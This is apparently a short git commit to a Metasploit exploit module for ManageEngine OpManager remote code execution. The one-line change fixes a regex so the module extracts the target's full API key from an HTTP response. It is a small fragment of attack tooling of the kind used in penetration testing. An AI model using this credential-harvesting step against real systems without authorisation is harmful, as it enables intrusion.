Missing regex '+', readding so we get full API key.

2017-06-20 15:28:15 -05:00 · 2017-06-20 15:28:15 -05:00 · 14f0409c6c
parent b02719e795
commit 14f0409c6c
1 changed files with 1 additions and 1 deletions
--- a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb
+++ b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb
@ -120,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Remote
      'method' => 'GET'
    })

-    if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9])"/
+    if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9]+)"/
      api_key = $1
      print_status("Retrieved API key [ #{api_key} ]")
    else